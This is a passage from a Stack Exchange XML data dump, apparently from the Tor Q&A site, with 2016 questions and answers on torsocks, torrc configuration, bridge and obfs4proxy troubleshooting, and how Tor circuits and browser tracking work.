LastEditDate="2020-04-15T12:39:17.360" LastActivityDate="2020-04-15T12:39:17.360" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="9492" PostTypeId="2" ParentId="9437" CreationDate="2016-01-19T11:14:06.597" Score="2" Body="&lt;p&gt;I found some clues reading this question: &lt;a href=&quot;https://apple.stackexchange.com/questions/212586/torsocks-not-working-in-el-capitan&quot;&gt;https://apple.stackexchange.com/questions/212586/torsocks-not-working-in-el-capitan&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I installed httpie with brew&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ brew install httpie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following command line won't have expected result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ torsocks http https://check.torproject.org/api/ip&#xA;HTTP/1.1 200 OK&#xA;Connection: Keep-Alive&#xA;Content-Length: 35&#xA;Content-Type: application/json&#xA;Date: Tue, 19 Jan 2016 11:12:30 GMT&#xA;Keep-Alive: timeout=15&#xA;Strict-Transport-Security: max-age=15768000&#xA;Via: 1.1 check.torproject.org&#xA;&#xA;{ &#xA;    &quot;IP&quot;: &quot;XX.XX.XX.XXX&quot;, &#xA;    &quot;IsTor&quot;: false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I install httpie with pip instead of brew&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ brew uninstall httpie&#xA;$ brew install python&#xA;$ pip install httpie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same command line will use tor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ torsocks http https://check.torproject.org/api/ip&#xA;HTTP/1.1 200 OK&#xA;Connection: Keep-Alive&#xA;Content-Length: 35&#xA;Content-Type: application/json&#xA;Date: Tue, 19 Jan 2016 11:06:08 GMT&#xA;Keep-Alive: timeout=15&#xA;Strict-Transport-Security: max-age=15768000&#xA;Via: 1.1 check.torproject.org&#xA;&#xA;{ &#xA;    &quot;IP&quot;: &quot;195.154.56.44&quot;, &#xA;    &quot;IsTor&quot;: true&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10490" LastActivityDate="2016-01-19T11:14:06.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9493" PostTypeId="2" ParentId="9482" CreationDate="2016-01-19T17:44:15.160" Score="-1" Body="&lt;p&gt;And - take a look at my patch &lt;a href=&quot;https://github.com/netsafe/tor-patches/blob/master/tor-route-length.patch&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; - and it's not the only way to make all the nodes have no way to map a path&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-19T17:44:15.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9494" PostTypeId="2" ParentId="9478" CreationDate="2016-01-19T18:31:23.803" Score="1" Body="&lt;p&gt;I feel you answer your own question with: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Before it happened I have installed Flash Plugin and enabled it in the&#xA;  configurations, then it started.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Installing flash it not recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest downloading a clean copy of browser bundle, then test again.&#xA;If it still happens then I suggest you submit a ticket to the &lt;a href=&quot;https://trac.torproject.org/projects/tor&quot; rel=&quot;nofollow&quot;&gt;bugtracker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2016-01-19T18:31:23.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9495" PostTypeId="1" CreationDate="2016-01-19T18:37:58.980" Score="0" ViewCount="329" Body="&lt;p&gt;Requirement: set up a two-leg Tor connection (using Tor twice). End user works on 1st computer, connects thru Tor to a 2nd off-site computer (could go thru VPN, SSH, or SSL as well), and then from that 2nd computer, goes thru Tor a second time to browse the web anonymously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intended purpose: to increase the level of untraceability and anonymity. The set up is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;End user on 1st Computer &gt; Tor Connection &gt; 2nd Off-site Computer &gt; 2nd Tor Connection &gt; Browse the Web&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2nd computer is at an off-site location, and the 2nd computer would be impossible to trace back to the end user, even if it were found. So this means if the 2nd Tor connection (between the 2nd computer and the websites being browsed) gets hacked, only the 2nd off-site computer will be found, but not the 1st computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this set up uses Tor twice in 2 legs as a double precaution against being traced. This set up is like using Tor with a virtual machine, but using a physical 2nd computer in place of a virtual machine, and using Tor twice, in two legs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to set this up? Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2nd computer will be a Windows 10 or Android device.&lt;/p&gt;&#xA;" OwnerUserId="10555" LastEditorUserId="10555" LastEditDate="2016-01-19T20:07:00.277" LastActivityDate="2016-01-24T02:37:31.430" Title="Tor connection from 1st to 2nd computer, then from 2nd computer, a 2nd Tor connection to browse web (for increased untraceability)" Tags="|anonymity|vpn|ssh|ssl|virtual-machine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9496" PostTypeId="2" ParentId="9486" CreationDate="2016-01-19T18:42:59.103" Score="0" Body="&lt;p&gt;This is not a tails issue, this happens because you go on the links which then is passed trough the tor2web service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links you use through there has .to appended to the link.&#xA;So duckduckgo's hidden service is originally like this : &lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow&quot;&gt;http://3g2upl4pq6kufc4m.onion/&lt;/a&gt; , but through tor2web it looks like &lt;a href=&quot;http://3g2upl4pq6kufc4m.onion.to/&quot; rel=&quot;nofollow&quot;&gt;http://3g2upl4pq6kufc4m.onion.to/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you can do is to remove the .to from the url and go straight to the regular hidden service, and edit any bookmarks you have stored with .to.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2016-01-19T18:42:59.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9497" PostTypeId="2" ParentId="9495" CreationDate="2016-01-20T01:53:50.657" Score="1" Body="&lt;p&gt;Don't do that. Try Tor over VPN or JAP or (chained) proxies or something else.&lt;br&gt;&#xA;&lt;a href=&quot;https://tor.stackexchange.com/a/433/4894&quot;&gt;Is running Tor over Tor dangerous?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2016-01-20T01:53:50.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9498" PostTypeId="1" CreationDate="2016-01-20T03:40:42.200" Score="0" ViewCount="3211" Body="&lt;p&gt;When I navigate to youtube.com after starting up Tor Browser, I often notice a video recommendation from my non-anonymous, chrome-based youtube viewing. It is almost inconceivable that this video is popular enough to land on the youtube homepage without some targeting. The topic is esoteric and the views are about 100k, a fraction of the videos that show up on the homepage. Is this expected behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the tor browser with the only modifications to the default install being 1) adblock and 2) I have on occasion allowed plugins while on youtube. I never visited a site using the tor browser other than youtube.com (and the default homepage). I use Tor Browser in parallel with chrome. I also have googledrivesync always running as a service.&lt;/p&gt;&#xA;" OwnerUserId="10559" LastActivityDate="2016-01-21T03:56:03.090" Title="youtube recommendation on tor browser" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9499" PostTypeId="1" CreationDate="2016-01-20T06:16:51.643" Score="0" ViewCount="88" Body="&lt;p&gt;Lets say a user is using a Tor version from 2013 and decides to connect to my HS that has the latest Tor client. Since the user has an old version of Tor, can the vulns in the Tor version reveal my IP? (Keep in mind that my HS is using the latest version of Tor but the client is using an old vulnerable version of Tor)&lt;/p&gt;&#xA;" OwnerUserId="10561" LastActivityDate="2021-12-21T16:00:35.053" Title="Old Tor users can affect my HS?" Tags="|tor-browser-bundle|onion-services|vulnerability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9500" PostTypeId="1" CreationDate="2016-01-20T07:37:40.237" Score="1" ViewCount="1850" Body="&lt;p&gt;when using the bridge through Google, azzure, or Amazon i get errors like the below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTICE: Bridge at '0.0.2.0:1' isn't reachable by our firewall policy. Skipping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any idea why i get  this or is it a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&#xA;Msadek&lt;/p&gt;&#xA;" OwnerUserId="10563" LastActivityDate="2016-06-18T22:51:00.360" Title="using orbot bridges on android" Tags="|bridge|orbot|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9501" PostTypeId="1" CreationDate="2016-01-20T11:47:07.110" Score="1" ViewCount="5330" Body="&lt;p&gt;I am trying to edit the torrc file, but on my Windows version of Tor the torrc file is blank. I have also looked at Tor on my Mac OSX and Linux machines and the torrc file there are only 6 lines of text as below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory Home/User/Desktop/Browser/Tor Browser/Data/Tor&#xA;GeoIPFile Home/User/Desktop/Browser/Tor Browser/Data/Tor/geoip&#xA;GeoIPv6File Home/User/Desktop/Browser/Tor Browser/Data/Tor/geoip6   &#xA;HiddenServiceStatistics 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added details to the blank torrc file such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {DE}&#xA;Strict Nodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this works for restricting the exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to change more technical details on the torrc file so why is my torrc file blank, or only have a 6 lines of text in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="10564" LastActivityDate="2016-01-21T05:21:45.077" Title="Torrc file is blank, or has few details" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9502" PostTypeId="1" CreationDate="2016-01-20T11:53:55.240" Score="1" ViewCount="184" Body="&lt;p&gt;When I carry out IP lookups from within Tor, my own IP address is occasionally different to the one showing as my exit relay when viewing the circuit. Sometimes it is very similar (eg my IP: 215.24.13.25 lookup IP: 215.24.13.26) but sometimes it is completely different, why is this?&lt;/p&gt;&#xA;" OwnerUserId="10564" LastActivityDate="2016-01-20T17:07:29.630" Title="IP showing through Tor different to exit node IP" Tags="|exit-relays|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9503" PostTypeId="2" ParentId="9502" CreationDate="2016-01-20T17:07:29.630" Score="1" Body="&lt;p&gt;The answer is simple: you should use a match like &quot;mine or NOT mine&quot; IP address. If you're using a dynamical IP-address from your ISP, so it's likely, that you can exit through a neighbor IP of real exit node. And also there's a multi-homed exit nodes, and they can eject you out of any of their IP's&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-20T17:07:29.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9504" PostTypeId="2" ParentId="9501" CreationDate="2016-01-20T17:09:37.163" Score="1" Body="&lt;p&gt;Tor has alot of &quot;pre-configured defaults&quot; shipped with it, and most of them are very well-fitting for most of users. Actually, you can run Tor even without a &lt;code&gt;torrc&lt;/code&gt; file at all! So - it's no problem, that your file has 2-4 or 6 lines.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-20T17:09:37.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9505" PostTypeId="2" ParentId="9500" CreationDate="2016-01-20T19:06:19.930" Score="0" Body="&lt;p&gt;Try to use different IPtables - it's in options of Orbot. And also - via teminal - check telnet connectivity to the bridge&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-20T19:06:19.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9506" PostTypeId="2" ParentId="9499" CreationDate="2016-01-21T03:52:52.570" Score="0" Body="&lt;p&gt;No it won't affect you, because you've forgot about rendezvouz point : his path to RP &lt;em&gt;may be&lt;/em&gt; affected, but not yours.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-21T03:52:52.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9507" PostTypeId="2" ParentId="9498" CreationDate="2016-01-21T03:56:03.090" Score="2" Body="&lt;p&gt;Persistent cookies are cross-browser, actually. Check it &lt;a href=&quot;http://samy.pl/evercookie/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and you will see which components are elaborated - it shows you all the process step-by-step in &lt;strong&gt;your very own case&lt;/strong&gt; Also &lt;a href=&quot;https://www.browserleaks.com/&quot; rel=&quot;nofollow&quot;&gt;browserleaks&lt;/a&gt; can be of some more help&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-21T03:56:03.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9508" PostTypeId="2" ParentId="9501" CreationDate="2016-01-21T05:21:45.077" Score="0" Body="&lt;p&gt;Tors default configuration is tucked away in a different file. Most users, use the regular torrc file to override the options they need changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using tor with the browser, you can find the torrc-defaults file in &lt;code&gt;Browser/TorBrowser/Data/Tor&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2016-01-21T05:21:45.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9509" PostTypeId="1" CreationDate="2016-01-21T14:25:38.997" Score="1" ViewCount="15747" Body="&lt;p&gt;it seems that there are some problems when i try to configure the Tor connectionS:&#xA;the Bridges used in configuration are totally from &quot;://bridges.torproject.org/bridges?transport=obfs4&quot;;&#xA;And before configuring, i've already try to Ping with those bridges, Ping is fine; But still i cannot finish the configuration,  stuck at the step of &quot;Establishing an encrypted directory connection&quot;, and could not move on; &#xA;Below are the snapshots during the failure, please help to troubleshoot it。&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AuRMQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AuRMQ.png&quot; alt=&quot;stuck at this step;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pdgbN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pdgbN.png&quot; alt=&quot;ping is good; but got stuck at &amp;quot;Establishing an encrypted directory connection&amp;quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;below are the Logs when try to configure Tor:&#xA;*&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2016/1/21 21:50:46.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2016/1/21 21:50:46.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2016/1/21 21:50:46.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2016/1/21 21:50:46.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2016/1/21 21:50:52.700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;2016/1/21 21:50:52.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;2016/1/21 21:51:13.700 [WARN] Proxy Client: unable to connect to xx.xx.xx.xx (&quot;general SOCKS server failure&quot;) &#xA;2016/1/21 21:51:13.700 [WARN] Proxy Client: unable to connect to xx.xx.xx.xx (&quot;general SOCKS server failure&quot;) &#xA;2016/1/21 22:06:13.700 [WARN] Proxy Client: unable to connect to xx.xx.xx.xx (&quot;general SOCKS server failure&quot;) &#xA;2016/1/21 22:06:13.700 [WARN] Proxy Client: unable to connect to xx.xx.xx.xx (&quot;general SOCKS server failure&quot;) &#xA;2016/1/21 22:09:47.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2016/1/21 22:09:47.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2016/1/21 22:09:47.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;* &#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10571" LastEditorUserId="1730" LastEditDate="2016-01-21T21:47:59.093" LastActivityDate="2018-03-05T23:23:00.343" Title="Stuck at &quot;Establishing an encrypted directory connection&quot;" Tags="|configuration|help|bridge|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9510" PostTypeId="2" ParentId="9509" CreationDate="2016-01-21T14:55:57.577" Score="2" Body="&lt;p&gt;It seems that you may be a victim of TLS/HTTPS MitM-attack, try to use &lt;strong&gt;Meek&lt;/strong&gt; and &lt;strong&gt;Obfs3/4&lt;/strong&gt; pluggable transports. If it won't work either - please post your Tor log here, so I'll be able to help you further. Stay tuned and never give up!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-21T14:55:57.577" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9512" PostTypeId="2" ParentId="9472" CreationDate="2016-01-21T18:19:54.950" Score="1" Body="&lt;p&gt;No. It is not possible (and it never should be) to specify a middle node in Tor; Tor chooses it for you. &#xA;The middle node is the best place to attack. It knows the IP address of both the entry and exit and if someone could select specific routes through the network, it might hurt your anonymity. &lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2016-01-21T18:19:54.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9515" PostTypeId="2" ParentId="9509" CreationDate="2016-01-21T22:10:25.317" Score="1" Body="&lt;p&gt;I can't see any evidence of you being the victim of a MITM attack. It appears that your ISP is either blocking &lt;em&gt;all traffic&lt;/em&gt; to known Tor entry nodes - which would imply they know that your bridges are part of the Tor network - or that they're blocking all &lt;em&gt;Tor&lt;/em&gt; traffic by looking for  &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/AChildsGardenOfPluggableTransports&quot; rel=&quot;nofollow&quot;&gt;Tor's traffic signature&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be worth requesting another set of bridges before looking at &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;pluggable transports&lt;/a&gt;. If you &lt;em&gt;do&lt;/em&gt; end needing pluggable transports, the recommendations are to try them in the order described in &lt;a href=&quot;https://blog.torproject.org/blog/how-use-%E2%80%9Cmeek%E2%80%9D-pluggable-transport&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; official blog post. (It's a year old, but I believe the recommendation still holds true.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can presumably ping the bridges because your ISP isn't blocking ICMP traffic.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-21T22:10:25.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9516" PostTypeId="1" AcceptedAnswerId="9518" CreationDate="2016-01-22T01:45:48.520" Score="1" ViewCount="2896" Body="&lt;p&gt;If all the nodes in a Tor circuit aren't supposed to know about each other, how can the Tor Browser display the whole circuit? If it knows all the addresses in the chain, can't someone else pull that same information out of the packets and make the relay thing moot? Would that be how some agencies have been able to &quot;break&quot; Tor by placing what they call &quot;malware&quot; on websites to backtrace the origin IP?&#xA;I know, a lot of questions but I think they're all related and I'm trying to understand how all this stuff works.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2016-01-22T10:08:46.143" Title="Tor circuit display in Tor Browser - how can it?" Tags="|anonymity|security|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9517" PostTypeId="2" ParentId="9265" CreationDate="2016-01-22T02:31:10.983" Score="1" Body="&lt;p&gt;Someone was probably pounding on your HS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As part of establishing a circuit the server side of a HS establishes a circuit to the Rendezvous Point.  So if there's lots of clients all trying to access a HS at once, it results in lots of circuit creation.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2016-01-22T02:31:10.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9518" PostTypeId="2" ParentId="9516" CreationDate="2016-01-22T10:08:46.143" Score="1" Body="&lt;p&gt;For &lt;em&gt;onion&lt;/em&gt; routing to work, you need to know what each layer is encrypted with, although the middle circuits only know who sent them and who to send it to. Maybe the explanation below will be clearer. :-) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Client needs to know Relay 1, 2 and 3's public key to do this&#xA;{&#xA;  Client sends to relay 1&#xA;  {&#xA;    Encrypted with Relay 1's key&#xA;    {&#xA;      Instruction to send to relay 2&#xA;      Encrypted with Relay 2's key&#xA;      {&#xA;        Instruction to send to relay 3&#xA;        Encrypted with Relay 3's key&#xA;        {&#xA;          Instruction to send to destination&#xA;          {Data}&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only the clients know who relay 1, 2 and 3 are, and they are not traceable without a big chain of inter-communicating routers or a client exploit.&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2016-01-22T10:08:46.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9519" PostTypeId="2" ParentId="920" CreationDate="2016-01-22T10:53:24.933" Score="1" Body="&lt;p&gt;For the MadMac part: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The MAC address is only visible on your local network. You don't need&#xA;  to hide it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/67268/is-it-possible-to-retrieve-mac-address-of-a-host-using-tor&quot;&gt;https://security.stackexchange.com/questions/67268/is-it-possible-to-retrieve-mac-address-of-a-host-using-tor&lt;/a&gt; (Answer by @ThoriumBR)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For DNSCrypt part:&#xA;A properly configured TBB (default) will tunnel all DNS resolutions and DNSCrypt is not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall: Neither products will increase your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2016-01-22T10:53:24.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9520" PostTypeId="1" CreationDate="2016-01-22T19:14:28.033" Score="3" ViewCount="3266" Body="&lt;p&gt;For the life of me, I cannot get my tor bridge relay working with obfsproxy, or obfs4proxy. I am running Ubuntu 15.10 with tor v0.2.7.6 (git-605ae665009853bd). Tor starts and bootstraps fine and is accessible to the outside world, but the managed proxy fails to start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 22 12:59:38.000 [notice] Bootstrapped 0%: Starting&#xA;Jan 22 12:59:39.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Jan 22 12:59:39.000 [notice] Signaled readiness to systemd&#xA;&#xA;------------------------------------------------------------------------------&#xA;Jan 22 12:59:40.000 [warn] Could not launch managed proxy executable at '/usr/bin/obfs4proxy' ('Operation not permitted').&#xA;------------------------------------------------------------------------------&#xA;&#xA;Jan 22 12:59:40.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Jan 22 12:59:40.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Jan 22 12:59:41.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Jan 22 12:59:41.000 [notice] Bootstrapped 100%: Done&#xA;Jan 22 12:59:41.000 [notice] Now checking whether ORPort xxx.xxx.xxx.xxx:xxx is reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;Jan 22 12:59:42.000 [notice] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;Jan 22 12:59:46.000 [notice] Performing bandwidth self-test...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried changing the ownership for obfs4proxy/obfsproxy to the debian-tor account, to no avail. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rwxr-xr-x 1 debian-tor debian-tor 5.0M Jun 28  2015 /usr/bin/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried the apparmor patch from Debian:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=739279&quot; rel=&quot;nofollow&quot;&gt;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=739279&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that also didn't allow the proxy to start. Any suggestions on what I can do to get this working? Or maybe there is an apparmor or tor bug here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Log debug file /var/log/tor/debug.log&#xA;SocksPort 0 # Default: Bind to localhost:9050 for local connections.&#xA;ExtORPort auto&#xA;ORPort xxx&#xA;Nickname xxxxxxxxxx&#xA;RelayBandwidthRate 200 KBytes  # Throttle traffic to 100KB/s (800Kbps)&#xA;RelayBandwidthBurst 250 KBytes # But allow bursts up to 200KB (1600Kb)&#xA;AccountingMax 100 GBytes&#xA;AccountingStart day 00:00&#xA;ContactInfo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;BridgeRelay 1&#xA;ExitPolicy reject *:*&#xA;ServerTransportPlugin obfs3,obfs4 exec /usr/bin/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is debug logging from when tor tried to start obfs4proxy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 22 13:12:07.000 [info] handle_proxy_line(): Got a line from managed proxy '/usr/bin/obfs4proxy': (ERR: Failed to spawn background process - code 9/1)&#xA;Jan 22 13:12:07.000 [warn] Could not launch managed proxy executable at '/usr/bin/obfs4proxy' ('Operation not permitted').&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lost@shithead:~$ obfs4proxy &#xA;2016/01/24 19:23:06 [ERROR]: obfs4proxy - must be run as a managed transport&#xA;lost@shithead:~$ obfs4proxy --managed&#xA;flag provided but not defined: -managed&#xA;Usage of obfs4proxy:&#xA;  -enableLogging=false: Log to TOR_PT_STATE_LOCATION/obfs4proxy.log&#xA;  -logLevel=&quot;ERROR&quot;: Log level (ERROR/WARN/INFO/DEBUG)&#xA;  -obfs4-distBias=false: Enable obfs4 using ScrambleSuit style table generation&#xA;  -unsafeLogging=false: Disable the address scrubber&#xA;  -version=false: Print version and exit&#xA;lost@shithead:~$ obfsproxy &#xA;usage: obfsproxy [-h] [-v] [--log-file LOG_FILE]&#xA;                 [--log-min-severity {error,warning,info,debug}] [--no-log]&#xA;                 [--no-safe-logging] [--data-dir DATA_DIR] [--proxy PROXY]&#xA;                 {managed,obfs2,dummy,obfs3,scramblesuit,b64} ...&#xA;obfsproxy: error: too few arguments&#xA;lost@shithead:~$ obfsproxy --managed&#xA;Traceback (most recent call last):&#xA;  File &quot;/usr/local/bin/obfsproxy&quot;, line 9, in &amp;lt;module&amp;gt;&#xA;    load_entry_point('obfsproxy==0.2.13', 'console_scripts', 'obfsproxy')()&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/obfsproxy/pyobfsproxy.py&quot;, line 205, in run&#xA;    pyobfsproxy()&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/obfsproxy/pyobfsproxy.py&quot;, line 175, in pyobfsproxy&#xA;    do_managed_mode()&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/obfsproxy/pyobfsproxy.py&quot;, line 76, in do_managed_mode&#xA;    if checkClientMode():&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/pyptlib/config.py&quot;, line 121, in checkClientMode&#xA;    raise EnvError('neither TOR_PT_{SERVER,CLIENT}_TRANSPORTS set')&#xA;pyptlib.config.EnvError: neither TOR_PT_{SERVER,CLIENT}_TRANSPORTS set&#xA;lost@shithead:~$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10582" LastEditorUserId="10582" 